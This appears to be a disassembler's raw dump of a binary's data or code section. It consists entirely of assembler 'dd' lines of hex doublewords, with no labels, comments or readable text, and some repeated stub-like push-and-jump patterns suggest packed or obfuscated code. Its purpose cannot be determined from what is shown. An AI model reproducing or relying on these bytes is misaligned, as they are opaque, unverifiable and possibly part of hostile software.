dd 0FFC50306h, 18601E0h, 3150CC44h, 78978A29h, 8AD6413Eh
dd 3ED98525h, 0EE809h, 1E890000h, 0B60FAA4Eh, 0ECAA2D61h
dd 0A8F05199h, 0BE8h, 5C911200h, 45A02B46h, 8818D50Ch
dd 0CE9h, 0FF3D9600h, 0DFDCBA7h, 0B5802022h, 665A5B78h
dd 924FC381h, 73F5C281h, 8A0F0000h, 3, 33CEBF0Fh, 75E580C0h
dd 661034FFh, 0E95FF28Bh, 10h, 5A9CCC93h, 962ADCE3h, 1611AE1Ah
dd 1F990281h, 0C798EF81h, 880F5009h, 3, 81CABF0Fh, 28B0B1EFh
dd 0EE966h, 6CFC0000h, 0D49AE719h, 33B05346h, 0B02BB609h
dd 72DEEF81h, 5E90178h, 7000000h, 204CE9E0h, 66023C89h
dd 8BDBA2B9h, 0D1E881F1h, 815BAF5Eh, 0AF5ECDC0h, 18E0F5Bh
dd 0F5000000h, 8CD4F881h, 850FFFFFh, 0FFFFFF84h, 18A0Fh
dd 0EBF80000h, 9E7D0079h, 0E2218CEFh, 0ABAFD60Fh, 4DB2979Fh
dd 95B7E37Ch, 0A9E57200h, 0B69CB5E9h, 0F377609Bh, 0B794A9B6h
dd 60D7609Eh, 0A9BD897Dh, 9EBD8C9Eh, 95ACE372h, 0B98B204Ah
dd 89937E9Bh, 0F496B99Dh, 0A19E96AFh, 0A7D6B594h, 0D100FD91h
dd 594ACC48h, 713C33h, 57DB4D52h, 0B7D65EF3h, 0F600B79Bh
dd 8995ABAFh, 56F0009Fh, 0B3D7C771h, 711800BEh, 0ADC4D756h
dd 0E98173E2h, 0DCE93EABh, 6800000Eh, 624F7C1h, 0FA8745E9h
dd 0F8C668FFh, 3BE90624h, 68FFFA87h, 624F993h, 0FA8731E9h
dd 0FAC768FFh, 27E90624h, 68FFFA87h, 624FB5Dh, 0FA871DE9h
dd 0FC0268FFh, 13E90624h, 68FFFA87h, 624FCE6h, 0FA8709E9h
dd 0FD7868FFh, 0FFE90624h, 68FFFA86h, 624FE42h, 0FA86F5E9h
dd 0FF0768FFh, 0EBE90624h, 68FFFA86h, 6250089h, 0FA86E1E9h
dd 2B568FFh, 0D7E90625h, 68FFFA86h, 6250396h, 0FA86CDE9h
dd 0E51C90FFh, 4FBAA6Eh, 20E1C98Dh, 3BC4E5A9h, 5BA600C4h
dd 0D7DE98E4h, 0F7BB32CFh, 18DC53BCh, 36FA7190h, 4E178E71h
dd 0AB5129D5h, 0ACE419AEh, 0C8624539h, 0D3A1441Ch, 0CD32EA1Fh
dd 4A110C2Eh, 0AA575111h, 1CD06206h, 0BE41688Bh, 8D16A31Ah
dd 0D2B809E1h, 0C4E89C1Fh, 0F0B7C671h, 46F26B0Fh, 15EFBF31h
dd 0D8780ABEh
dd 25F1BF04h, 48F3EB6Ah, 9755B71h, 259Ch, 0BC7C2900h, 0A0F317EAh
dd 0CD79F297h, 15F08128h, 0EF8F21D5h, 25F2C21Bh, 5FDC0281h
dd 9745C1Ah, 0BAB3h, 0BC7C4000h, 0DA8214EBh, 5EA106B6h
dd 678E18CCh, 832BBD42h, 0E994DDFh, 0AB3DC2E5h, 19CD5F03h
dd 6DFA718Eh, 0E206FBADh, 0D3A57946h, 0D7287F1Fh, 0F40B9C60h
dd 8E25E562h, 2D0A5D81h, 24B6495Ch, 0B35FD87Ch, 15F0B63Ah
dd 3DA41BCFh, 721E97FAh, 1C14263Ah, 17A019CDh, 1CAE5357h
dd 6A05074h, 0E6C084FBh, 59A4B41Bh, 891FFA66h, 0CA26Ah
dd 0D9288400h, 0F8079E62h, 14EDBD81h, 2FD0D99Dh, 4FB2F4B8h
dd 0CBD28CD8h, 0EBAF26DBh, 0CD047C8h, 2AEE659Ch, 420B827Dh
dd 0AA451DC9h, 0A0D819AEh, 0A061452Dh, 0BD426529h, 85EA0E44h
dd 4F1A896Eh, 0D5F9069Fh, 9411D15Eh, 7CE4476Bh, 0A16F47F3h
dd 1C8B1FD3h, 0D2F6AAE3h, 5CD5B87Fh, 0F0810BB0h, 0F0B87815h
dd 0DCCB7F11h, 225B7F23h, 683CDC6Eh, 0CE25F2C0h, 0EDAC8F4Fh
dd 9745Dh, 0DEh, 9162458Dh, 0B648EC15h, 4B5D0339h, 0E51FD719h
dd 3FC7BBBFh, 0BEE2DC9Ah, 0D769980Eh, 0D2C36A37h, 0C837701Fh
dd 0E51A8D51h, 563BFC53h, 0D3B831DDh, 994D15EFh, 0BA456020h
dd 7FB81F96h, 0D208910Ah, 0E1856689h, 0BFFF912Dh, 46E4D7FDh
dd 0D134D0F4h, 7E1C1396h, 0D57149F5h, 50042C13h, 337333ACh
dd 0DE1F55CEh, 6CB05C44h, 0BFFE3BB0h, 781C90DCh, 9050DD54h
dd 15C5E918h, 0EF097091h, 6AFA66C9h, 0B9DB5D4h, 2D7F0000h
dd 0C995DD4h, 0F2B87CF3h, 0D5D4980Fh, 0B7EFB32Ah, 0CD87D34Ah
dd 0AC23DEC8h, 0CD44CBE8h, 0EB629F09h, 87F8027h, 421AC63Fh
dd 0D519AEA9h, 61452A9Dh, 0D7F127A0h, 1C0C9362h, 0E471E80Ch
dd 438387AEh, 22876665h, 651539DDh, 0B946BD42h, 79AC8430h
dd 8B3F1FD3h, 62450467h, 50570B9Dh, 1AD36AFh, 1FD3A229h
dd 0AF8733BCh, 421FD3A1h, 4FC6EA8Eh, 50E21F8Bh, 7DF40B9Ch
dd 81B6165Fh, 2EE7930Ch, 0C315F082h, 7DC7C0Fh, 7A0D7CB4h
dd 0B35FD8BDh, 1399DF66h, 39C6E3A3h, 9628DC15h, 1C95F83Fh
dd 0BE590D70h, 0ACFABA19h, 97FCD480h, 0DB8F29BEh, 0E32C8737h
dd 8C05A951h, 0AD24DBCCh, 0DA41BEE9h, 0FFCC6C0Ah, 0D07C9B31h
dd 0B200000Ah, 0CC9007FAh, 0EBAF26D9h, 7CB42BFh, 22E65DA2h
dd 0BA067D84h, 58A9FD00h, 79961DE1h, 976A3E02h, 0B44B5C20h
dd 4FFB743Dh, 19AEA877h, 455FD20Ah, 64249D62h, 496BA45h
dd 0ABFB8AADh, 339B256h, 575A1A1Ch, 0B831552Dh, 0F01E7F0Ch
dd 0D148FC15h, 0E9BCCD6Ah, 38DC8416h, 286E13BFh, 5B1B1C0Fh
dd 7921B34Ch, 0CFA343D5h, 0E32C1128h, 0F5A93BC4h, 80BF51BEh
dd 0E240EDF1h, 0F9C07B63h, 340356C5h, 3527FFABh, 84BA2C11h
dd 0AE3D2A3Dh, 62ACE93h, 3F6Dh, 95A2FA00h, 97DB8700h, 4215F0F0h
dd 0CC8C158Eh, 0AC25DCh, 25F2F028h, 33E307BBh, 65158C75h
dd 25F2EF93h, 88FF00A7h, 0A41DE4C4h, 0C67F826Eh, 0ED117FEBh
dd 8A1EDE5Bh, 0FC385377h, 0C1000009h, 870095A2h, 0F65829DBh
dd 8700B415h, 0A61FE0C7h, 0E584A70h, 0FD21351Bh, 45E5C286h
dd 9B3810BCh, 17CB25F8h, 0F89BA37Bh, 0DE823625h, 4F42F54Ch
dd 52212AD6h, 0E2961C1Bh, 7FFEA969h, 8816D050h, 73EA8EC2h
dd 7507F8AFh, 0FB74191Eh, 39DE9A4Fh, 0C732722h, 0E44EE5EEh
dd 9CA4C359h, 7E000009h, 985CD32Eh, 0B77BF20Dh, 0D3970EF3h
dd 0EEB229D6h, 86D249B8h, 24DDC9CCh, 45CAE9ADh, 639E0ACEh
dd 807F28ECh, 1BC74009h, 19AEA743h, 7C2B9ED6h, 39B7746h
dd 0FFA8A544h, 9C385C00h, 1FD389C8h, 287FFE39h, 0EBA33D7h
dd 15F63FFDh, 350DB942h, 0C825F87Eh, 3B7F014h, 6741018Ah
dd 0E1C6769Ah, 701CA51Eh, 25F87E98h, 0DC53772Bh, 0DE708F18h
dd 64DDB087h, 15892BB8h, 0FDA8681Ch, 44467002h, 35C83022h
dd 114A6E12h, 931AF65Dh, 0A339FA65h, 90684h, 3DC4E800h
dd 5CA302C6h, 788921E5h, 936C3D01h, 0B34E581Ch, 2F36F03Ch
dd 4F138A77h, 7034AB64h, 8E52C938h, 0A66FE619h, 0A6A9812Dh
dd 43C19AEh, 1B624591h, 5C0FC593h, 0A75A5034h, 50CD5F03h
dd 5AEC2390h, 0C9DE8EB2h, 0E873A436h, 4E7445F6h, 2C99F094h
dd 26000004h, 870095A2h, 0F91DE2C7h, 58B7D480h, 0A05415F6h
dd 74689E27h, 709A041Eh, 23843458h, 6A165DCh, 0F3C767F9h
dd 6425F856h, 0F45BED3h, 0BD92CA14h, 1E97BBECh, 14FDE572h
dd 5162221Ch, 60842CBEh, 0BA0C7327h, 45FA65C2h, 86190AFh
dd 69430000h, 485D2198h, 2E7C40B7h, 11985CD3h, 0F3B377EEh
dd 914B970Eh, 70E71A8Ch, 910807ACh, 0AF26DBCDh, 0CC43BCEBh
dd 6DE8A03h, 9919AEA6h, 0F37CEE61h, 0D3A16F47h, 2A4E021Fh
dd 59D22D7Ah, 62F40D99h, 500496BAh, 0A62FA857h, 0D3A222FAh
dd 0DD01B51Fh, 0D1911A4Bh, 8A0529D6h, 65440454h, 0A14119C5h
dd 20D41FD3h, 0F1C0EA7Ch, 0DA4B79ABh, 33C9ED91h, 0F0946466h
dd 36287h, 0B6C8FE00h, 0F9C5425Ah, 0DB248333h, 855954B7h
dd 0F61FD3A1h, 9A654041h, 0B042BDEAh, 2BEB6408h, 73F0827Fh
dd 0D3A1EFC7h, 2ACE821Fh, 43D52C7Ah, 52FE779Bh, 15F65783h
dd 1BDB5408h, 38FC738Ch, 0D221846Fh, 0F29A2CD3h, 0C118AA4Eh
dd 63AC0776h, 0C8529D1h, 15A1D360h, 1790501Ch, 11DD44E8h
dd 0CFA6566h, 77D5776h, 4D5F0000h, 2C793DB4h, 12985CD3h
dd 0F5B478EFh, 0D7CF930Ah, 0AD67B32Ah, 8C03FEA8h, 0AD24EBC8h
dd 0CB42BFE9h, 0E85FA007h, 22FAA61Fh, 0B519AEA6h, 62450A7Dh
dd 50570B9Dh, 61EC1DAFh, 6BA5DB7Dh, 217A0767h, 0F1C85E82h
dd 1CF09454h, 2ABh, 0A18559A9h, 10D01FD3h, 2ED66897h, 0D80B70Ah
dd 2DD4D494h, 56CFF39Bh, 0F657CEAAh, 0FDA96915h, 26CA7204h
dd 45BAEDADh, 629D0ACEh, 0CBBE79D0h, 0A181A652h, 7A2E1C15h
dd 6567DD13h, 83A238FAh, 6EBh, 0AB22DFCDh, 0CA41BEE7h
dd 0E65DA406h, 1788722h, 2198693Dh, 94121BD5h, 8132F66Dh
dd 5553178Eh, 367135ACh, 108952C9h, 0AEA48C64h, 74E71F19h
dd 0B9D6245h, 572D5057h, 9A611373h, 19E6BF6Fh, 0E45FE375h
dd 7F8027FAh, 9C634606h, 0C73E620Ah, 94205C1Dh, 0F71F0h
dd 28E80000h, 0D6CF7F82h, 0DAA20529h, 1FFh, 0A1835963h
dd 3BFC1FD3h, 4E31DD56h, 0BB15F657h, 0E8D0AFFBh, 6F5A7042h
dd 0C26AFCA0h, 38B1659Eh, 4FFB2F78h, 25F85277h, 5CEE1393h
dd 0A1C77BB4h, 0FF7EEFFCh, 0E259FD91h, 0E476891Eh, 5A32DE67h
dd 0ED25F7F4h, 75C21539h, 0CCE7A720h, 0FAA61F43h, 1C14FED5h
dd 0C367CE82h, 82FA65C2h, 621CDECh, 0A9030000h, 881DE158h
dd 6E3C0077h, 51581C93h, 337337AEh, 510B57CEh, 30A75A4Ch
dd 51C8476Ch, 6FE61B8Dh, 8C03FCABh, 0C69E4AC3h, 5919AEA3h
dd 6245AE21h, 50570B9Dh, 1E991DAFh, 0D1D898C0h, 0D0F49C2Eh
dd 396C8720h, 0E9A922C6h, 0A81F43BCh, 94BCBBFEh, 752F0h
dd 0DADF0000h, 13Fh, 0A1825963h, 4ED71FD3h, 0D3A1CAA2h
dd 28D45D1Fh, 1FD3A150h, 678B2FE3h, 0F56E2314h, 5F37E36Ch
dd 0F21FD3A1h, 0A1CAA23Eh, 0A95D1FD3h, 0B6600C85h, 0F115F657h
dd 2FDA868h, 542CC870h, 0E725F897h, 0DF838C27h, 55CE82BBh
dd 76ED1295h, 780AF5B2h, 0FA731621h, 15A1294Eh, 0BB22D61Ch
dd 0FA656711h, 5C1736CCh, 3E000005h, 581C936Eh, 773BB24Dh
dd 9357CE33h, 0AE72E916h, 469209F8h
dd 0E41D898Ch, 50AA96Dh, 23DECA8Eh, 40BFE8ACh, 0DB8700C9h
dd 19AEA303h, 45EB5E96h, 570B9D62h, 46732D50h, 478181EFh
dd 61F31C97h, 0DC9C15B9h, 0FEA638D7h, 149448DAh, 0FFA75BEDh
dd 71EC7002h, 0C540C06Dh, 267F3F19h, 827F29D9h, 0FAF9AE5Eh
dd 19C153AEh, 554FE75h, 0C8F094F1h, 0DD89A108h, 1FD36105h
dd 0AE40E498h, 60AD8531h, 8C401FD3h, 72BC4E8h, 0B8000000h
dd 46DAh, 0BC7C6300h, 578113EEh, 6C13EC07h, 0A4C86CCDh
dd 6A40B3F4h, 0B95D0597h, 0BF347327h, 88517E8h, 0D2D4845Ch
dd 0BF63171Fh, 0F07F891Bh, 8B7433EEh, 3BE514h, 22580000h
dd 0EC4D0BA1h, 16CAF055h, 97E112B0h, 4568CBEFh, 441CC862h
dd 0D71FD3A1h, 0A1CAA24Eh, 0A95D1FD3h, 2FCF6105h, 1FD3A15Ah
dd 0FE5A84FFh, 0F066BC8h, 9EC276BAh, 0CF46B9EEh, 9D624558h
dd 0D9CE8E0Bh, 88AF0226h, 57038C05h, 1FD3A17Fh, 0F8AE5E12h
dd 0ABCF7709h, 9720A932h, 0D3A213EBh, 56F2A61Fh, 1FD3A17Eh
dd 9D395D11h, 15F657EBh, 0DF4B676h, 0B62FD37Bh, 7142B1F6h
dd 0BF83FA9Eh, 2E8517E8h, 5F0B8409h, 1C1B4E56h, 0DE9E17CBh
dd 0DDB561C9h, 702C1D8Dh, 0DDA118BCh, 4CA335CAh, 0A42DA6EBh
dd 0A93BC6E4h, 8C41DD01h, 19223A6Ch, 935EFE65h, 6F05E44Fh
dd 3DA50h, 11F0BC00h, 30CFD69Ah, 4CB5F5B9h, 679811D5h
dd 877A2CF0h, 30AC410h, 23E75EA3h, 44087F90h, 62269D64h
dd 7A43BA45h, 0A17D5501h, 0D81019AEh, 9D624565h, 0BA456226h
dd 0CC337428h, 461ECA53h, 0D91FD3A1h, 0DE709119h, 0DC6E9236h
dd 871FDF58h, 0BF6BE87Ah, 1FD3A1E7h, 0FC22C67Ah, 4D25796h
dd 0F36E92FCh, 8E7136EBh, 32C6D17h, 21E1F094h, 0BD567A87h
dd 3Dh, 95A24Ah, 7A52FE87h, 961FD3A1h, 0B25AEC13h, 8BDD4379h
dd 0A7C69599h, 0BA66DF03h, 15F05876h, 0B8496121h, 0CDDB9B14h
dd 3B0DBD34h, 4F25F257h, 6C30A758h, 1433C53Ch, 327h, 0F495A29Dh
dd 11B94BB6h, 7748F46Dh, 0FC15F0A7h, 0F498773Ch, 6F9AE62h
dd 1CF3C074h, 2ED1D68Ah, 10CE5D9Ch, 5688171Dh, 17A0F28h
dd 0FAD8455h, 0DE55091Ch, 4CF8C077h, 2C11AD74h, 36AF5307h
dd 2EB3B98Ah, 0F88A3E22h, 0D9F6244h, 76E2FC7Bh, 0EE12FDB6h
dd 76779C9Bh, 42BC04D1h, 75219A3Eh, 284E4BA4h, 0C0416929h
dd 8F18A51Ch, 4B825A06h, 61153850h, 504BEDC5h, 614A8038h
dd 48F3DDF3h, 28D44DF1h, 38503350h, 5B0B2FE3h, 6D21B34Ch
dd 14EDB93Ah, 0A592F970h, 65EE77F0h, 5033E1B9h, 0C03E7438h
dd 0E184A445h, 52EE12B6h, 2E6CD83Dh, 0E48416CAh, 3E6ED810h
dd 0ED7F8224h, 926F39h, 83AA34BFh, 338A625h, 11F072B6h
dd 2C57h, 95A2E400h, 36DB8700h, 0E315F081h, 29FD9D2Fh
dd 3D25F2C2h, 52069869h, 101AAC53h, 72D05D81h, 950EBF3h
dd 0A409745Ch, 0C6h, 18467C31h, 5C93DCCAh, 6A3DED11h, 574F0395h
dd 0FCA831AAh, 1FD38224h, 0DE8A03B7h, 1FD38206h, 2FC1E599h
dd 41D32C7Bh, 6EE51A8Dh, 0D4AC58E1h, 671FD381h, 26F38FB3h
dd 2C1FD386h, 490D847Bh, 0B80FA15Eh, 0E5910A7Fh, 15F09ABCh
dd 7B047D31h, 0F299F7CFh, 0B2D68A25h, 2263D43Bh, 44EC7E91h
dd 0A07B27A0h, 3D1C1409h, 56501089h, 367034ABh, 3E2664CBh
dd 0CB61FA66h, 1AEACh, 0E51C9000h, 4FBAA6Eh, 20E1C98Dh
dd 3BC4E5A9h, 5BA600C4h, 0D7DE98E4h, 0F7BB32CFh, 18DC53BCh
dd 36FA7190h, 4E178E71h, 9F5129D5h, 0ACE419AEh, 0A0614539h
dd 0BF406727h, 0EA61852Dh, 57E8126h, 6487E6CFh, 294D3CAFh
dd 95A23BB2h, 36DB8700h, 0A315F081h, 1B3FD0E3h, 0CA4ACE2h
dd 0CCF9AE24h, 59199628h, 0F28EB24Fh, 25F2E11Eh, 62D90584h
dd 9747D17h, 0F2E6A0D6h, 1B91DD82h, 0AB5EF7h, 15D50000h
dd 0EA4D719Eh, 22916245h, 3B749EDh, 2CCC5EA3h, 1FD3A55Fh
dd 46BD4265h, 48DA2582h, 0CA4346F1h, 0F0B9F51Eh, 3FB66A15h
dd 4DB4F2B2h, 2C61D629h, 25C707B3h, 0A12A1C14h, 14651DF5h
dd 8F70392Ch, 5C1C55FDh, 0EA0EB24Dh, 0C484FDB1h, 0E4A81FE2h
dd 48D83FC2h, 0CBFA665Bh, 0CD1635h, 0FDAF0000h, 0DCC98D04h
dd 0C2E8AC23h, 0A504C83Fh, 871FE35Ah, 0FDB7037Ah, 0DC53AEF8h
dd 0FD749B18h, 1B926F39h, 38AF5057h, 724AF66Fh, 519AE9Eh
dd 61455ACDh, 426529A0h, 0FBB44BDh, 1FD3A137h, 0A206DE8Ah
dd 0E5991FD3h, 5DD4F8ACh, 47F37CE6h, 1FD3A16Fh, 7A2A4E02h
dd 78D9502Dh, 922E6A61h, 0FFA85CEEh, 73FC8900h, 0D393EFC7h
dd 0E4C2821Fh, 3FE38B1Dh, 55E7188Fh, 13689ADh, 548A138Ch
dd 9B89A289h, 0A13D61A2h, 15F646E7h, 0BF3CCE82h, 0C1D2B989h
dd 7094F068h, 0A118E7C0h, 0A335CADDh, 6497FE03h, 8F4FDEC6h
dd 69151592h, 5E86D791h, 55CC7024h, 57E91691h, 67F906A3h
dd 998856D5h, 0B67AF10Eh, 5D7C0EF1h, 3, 4540A7E6h, 54089A67h
dd 661AAC53h, 792DBF42h, 8F43D53Ah, 0A458EA17h, 0B96DFF02h
dd 0C97D0FF0h, 0DA8E20E1h, 86A234CBh, 0A6768h, 48F5400h
dd 24048124h, 4, 245E68h, 240C8900h, 81E68956h, 4C6h, 4EE8300h
dd 5C243487h, 57241C89h, 27293868h, 0CF815F29h, 60C26605h
dd 7888EF81h, 895063C2h, 58C189F8h, 1C8B545Fh, 4C48124h
dd 51000000h, 8B242C81h, 8F64CA7Dh, 43810843h, 0CA7D8B08h
dd 2434FF64h, 4C4815Bh, 0FF000000h, 81592434h, 4C4h, 7880E900h
dd 913CFFFAh, 0C40B3646h, 0C8D8CABh, 0B861211Dh, 6250488h
dd 0E0FFC503h, 1BBD289Eh, 64BB095Ah, 6CA3A3Dh, 46214B9Bh
dd 18CBA78Dh, 7DCF131h, 58D46448h, 6860E8F9h, 4E0C26A2h
dd 65C47CA3h, 2080D4Fh, 174567A1h, 2CF0512Dh, 4F794AEAh
dd 0BB774C3h, 3F57C163h, 716E23A1h, 5BF90579h, 658E2C28h
dd 665F73C2h, 763B102Fh, 2B1FC4A2h, 63A8D8Dh, 0B70F0625h
dd 5D8D89DFh, 89061F0Bh, 1F1DC98Dh, 0C585C706h, 0EC061F20h
dd 89000059h, 1F058985h, 7D85C706h, 61F13h, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h
dd 40000000h, 63A6C350h, 66D78B66h, 0FF774EBEh, 1F1575B5h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h
dd 0C3534300h, 0D3D39824h, 49178EFCh, 8585295Bh, 0E9061F00h
dd 0Ch, 0B1EC02F2h, 8C085FEAh, 554303D8h, 2D5995FFh, 6A061Fh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
dd 0BBDA97C3h, 0F65E62Ch, 8166D23Bh, 6A8940F6h, 4595FF00h
dd 8B061F1Dh, 3D0FEBC0h, 0A1AEEA46h, 0EF7C3DEh, 0A1B9702Ah
dd 7DE92CF7h, 60000001h, 6C4FFE5Dh, 0D76FC201h, 0EFB4CAD1h
dd 0E45B7E41h, 6D5D9752h, 44FCA3FBh, 0A59EB992h, 95BCD792h
dd 93B9E4h, 0F49DB2CBh, 0FC9CACA3h, 0D2009EB9h, 73AFC945h
dd 55FC00EEh, 599CBA97h, 0B2A4E56Dh, 47FEACFFh, 0C45657F6h
dd 0F600CCD4h, 0F78F7DB5h, 97539549h, 45C9BCFAh, 0A1915CCDh
dd 0ACE56Ch, 100h, 43h dup(0)
dd 3736D1F8h, 0D3C20DA4h, 388081Ch, 0F18E9h, 97F6800h
dd 0EEE90625h, 68FFFB41h, 6250A5Bh, 0FB41E4E9h, 0BC868FFh
dd 0DAE90625h, 68FFFB41h, 6250C83h, 0FB41D0E9h, 0D9268FFh
dd 0C6E90625h, 68FFFB41h, 6250E68h, 0FB41BCE9h, 0F0D68FFh
dd 0B2E90625h, 68FFFB41h, 6250FA3h, 0FB41A8E9h, 10B368FFh
dd 9EE90625h, 68FFFB41h, 6251148h, 0FB4194E9h, 121368FFh
dd 8AE90625h, 68FFFB41h, 62512CAh, 0FB4180E9h, 136A68FFh
dd 76E90625h, 68FFFB41h, 62514B9h, 0FB416CE9h, 157968FFh
dd 62E90625h, 39FFFB41h, 0DD3E9F70h, 7EDF40D7h, 2788E9BCh
dd 0CE2F9007h, 0A9D738EDh, 0B36853C4h, 56C9F152h, 0FAAF94F5h
dd 9C6D3899h, 477ADF3Bh, 0F7B320A7h, 0A43C8128h, 2C850881h
dd 239BCF0Bh, 0FA887C8Ch, 0A3DB095h, 0F18E1FE4h, 9D20F7B9h
dd 7524D3FEh, 2965C014h, 25A48DC0h, 9EF3FBAFh, 0AD19836Bh
dd 70A554F7h, 6467E5C3h, 87B24095h, 0D41E55D8h, 0DCF7AE05h
dd 90DF1B3Ah, 0B5A10327h, 40h, 1A74B160h, 37237EB1h, 2576FBAFh
dd 0D1FC8A1Dh, 0CAF2569Ch, 0AF0CF5h, 0DF0F4297h, 0F0F7ADD1h
dd 0D730B341h, 7437A086h, 0CE6DF09Fh, 0D0F9F940h, 15B7F7ADh
dd 0DFB5BAF6h, 9190A102h, 3B000000h, 850881A4h, 179A0F30h
dd 0F3A4E3C2h, 3EB63F1Bh, 7BD05302h, 8E012BAAh, 0E93B7EDFh
dd 38F18EE1h, 0DA3B9C6Dh, 88D942CBh, 0DD60EEA3h, 8DF69095h
dd 0AFC8335Ah, 0D435E4FBh, 80E9A580h, 0CD76014Dh, 0BE27D601h
dd 6CCD426Dh, 0F06B200Bh, 0E2FC4D4Eh, 0C348971Ah, 2500000Ch
dd 0C122831Ch, 62C324FBh, 364C558h, 0A203643Bh, 75A30499h
dd 871C1F10h, 2AFDC526h, 0CE4368C9h, 70390C6Dh, 1B4EB30Fh
dd 0F7B321D3h, 0A4185D04h, 44A5069Bh, 0F647A861h, 791E7FA0h
dd 0B6D0C054h, 3955D028h, 0E8BF7FD0h, 0E3BEF15Ah, 74FBAF8Dh
dd 0E70B42C5h, 0C9F7AD60h, 0A3CC0827h, 78A1026Eh, 98C0327h
dd 0B39DDC6Ah, 48000000h, 0B6694FA0h, 29E2C328h, 0B96E51A6h
dd 1D25FF36h, 0A97CF18Eh, 71E7FE0h, 6ABB0386h, 2B5EB31Ch
dd 0F18E1CC3h, 6ED76514h, 0AF0B523Bh, 0C6CE03FBh, 89D02AE5h
dd 0B5F8F34Ch, 4EAD4E80h, 0ADF0D31Bh, 0A65504F7h, 683D8EF7h
dd 0E0C71C9Fh, 8DEE7C2Bh, 39A2EC39h, 0CD7D5D06h, 66CF7E01h
dd 14752A15h, 981388B3h, 0E2FC5820h, 0E7FA49CCh, 4900000Bh
dd 0ED4EAF60h, 8EEF50C7h, 3798F9ACh, 0DE3FA077h, 0B9E748DDh
dd 0C35863D4h, 66390162h, 0A9FA405h, 0AC7D48A9h, 578AEF4Bh
dd 0F7B32297h, 0A44C9138h, 44A5069Bh, 0EE3FA861h, 0CEF257CEh
dd 0A735D457h, 81A4F546h, 0D72C8508h, 8E184AA4h, 79DE8DF1h
dd 0BE5DE0B7h, 31FACB30h, 0DDA97CD0h, 97CA1F74h, 0F18E1857h
dd 0F43BC978h, 0FBAF0609h, 63BC3FEEh, 0F77A3312h, 85089DA2h
dd 62A937E6h, 0F7AD2690h, 235F7E20h, 0A102354Ch, 6EF9h
dd 74B1A400h, 0B37EB11Ah, 24FBAF2Ah, 0CC5766EFh, 8938C17Eh
dd 9C23CF06h, 0EB8DF7ADh, 753A8BCCh, 0A352DBEAh, 0BEBEB115h
dd 0C5DA102h, 49E86B22h, 397CBBh, 0A0270000h, 5F36FA4Bh
dd 0F8F63DDCh, 0D7F18E17h, 24D34A72h, 0A7E73E96h, 78E0B3Eh
dd 0F227FBAFh, 8B7C37B0h, 1B9E4DADh, 0ADD10EE4h, 0E100A2F7h
dd 2DFCAA5h, 0C7BA1h, 0AA260000h, 83Eh, 59CCF041h, 4FA076CBh
dd 0E035B86Fh, 25C447DEh, 9590E876h, 0D15D90F9h, 86FBA91Fh
dd 81D6ED7h, 0E8BD1E7Fh, 0D1549C1Fh, 8A194CB5h, 2B01CE25h
dd 0E3C2137Ch, 5D68C92Ah, 0E24263CCh, 3C682E2Eh, 0E931B442h
dd 0FD909C3Ch, 0C32CDB7Ah, 8E6196Eh, 0C7F18EE2h, 1689B318h
dd 1904188h, 9645FBB0h, 0DDF9CD1Bh, 87D659E4h, 0A7Ah, 0DB3CD5DCh
dd 80E1B47Ah, 298A1D1Fh, 0D031E4C8h, 76D74C6Fh, 0C9F22548h
dd 0AE92F354h, 0E3596F7h, 0CED73899h, 1B80DC3Dh, 0B32306E8h
dd 0DD22C9F7h, 8E1930C2h, 0DBAB7AF1h, 1FFF3F72h, 9BD0FBA9h
dd 5A3DA7C1h, 0E6F1E22h, 0BE956BBAh, 0A750F43Dh, 1B4EB766h
dd 1CEDC1Bh, 1364CD7Ch, 618DC02Dh, 76F18ED3h, 218A18C7h
dd 0D334F5D0h, 57DA5372h, 0F78160Fh, 0CC1D99BAh, 8795B195h
dd 8E84AE40h, 0E47221F1h, 8A53487Bh, 45F4FBA9h, 0F1BA8BDCh
dd 95162F90h, 8219DB12h, 909577B3h, 2B5A8DF6h, 0AE81D46Dh
dd 79C82659h, 580771C8h, 75F09FCAh, 62F84DA9h, 0BFEB3ABDh
dd 21000009h, 0C5268718h, 66C728FFh, 0F70D144h, 0B617782Fh
dd 91BF20F5h, 9B703BFCh, 3ED1D93Ah, 0E2B77CDDh, 84052081h
dd 2F62C723h, 0F7B324BFh, 0B1246910h, 7EB11A74h, 0FBA91EC0h
dd 0A2F7600Fh, 35B86F51h, 82A30896h, 0EE43A809h, 1E886699h
dd 9847F7B3h, 0B31E9D51h, 0F58332F7h, 71F4B590h, 2992FC29h
dd 0E7BC83D4h, 0F037C564h, 1CE2442h, 0ACFD6615h, 0CB235699h
dd 0CF18E18h, 0E84DAE5Dh, 2BF2F7C7h, 3FCDFDEBh, 0BF42CBDAh
dd 77E0AE77h, 0A9A32F44h, 90F9A8FBh, 0A4208E6Fh, 74021334h
dd 22EBBA0Bh, 0C44560C1h, 4BC7E841h, 0D6D39FC8h, 0EA084FDDh
dd 0C0F7B377h, 8DC02965h, 1CE7CEDh, 0DFE6378Ch, 71E7074Eh
dd 8AAEF18Eh, 0D439E813h, 7AA533EAh, 341162CBh, 94B11273h
dd 2255AA13h, 0F18E71CCh, 4BCE5C0Bh, 0FB642203h, 0A9776EC8h
dd 39A251FBh, 0CA4DC0E8h, 0D21A9D2Bh, 97CA3353h, 1D48836h
dd 0B36DE897h, 0BFE2F842h, 8B0ED3Ch, 2F120000h, 8EB41576h
dd 6B55B617h, 0CAF253B4h, 0AE91F253h, 1B6A98F9h, 15762B14h
dd 0B8198CB4h, 5ABB5057h, 0FA5B2CF9h, 0E806399Eh, 0E7F7B325h
dd 81A4FB40h, 15308508h, 0B701194h, 897795EAh, 3E04D4FEh
dd 9645E467h, 0FA375608h, 0A101622Bh, 9AE3D5CEh, 777h
dd 0BAA2200h, 55000005h, 28FD93BDh, 98A4F55Eh, 72D8205h
dd 0BF6E0D90h, 3895C831h, 9DFBAF38h, 88185FEEh, 0FA0AB169h
dd 9DF25B2Bh, 9D91548h, 4FFEC6A3h, 1B077AC1h, 21D0D0C4h
dd 0BFCF569Eh, 55402356h, 0EA99CEB8h, 0AA0B2C81h, 7637085Ch
dd 8822AA6Bh, 0C776D0B8h, 8D412192h, 0E876FFB2h, 88E9A283h
dd 0D4D71E27h, 3063BC3Fh, 0C6B79EBEh, 4B36211h, 0EBA48989h
dd 1362E537h, 7DAh, 3B9C753Ch, 0E041D4DAh, 89EABD7Fh, 30910428h
dd 0D637ECCFh, 6952C5A8h, 0CEF253B4h, 0AE95F657h, 6E3798F9h
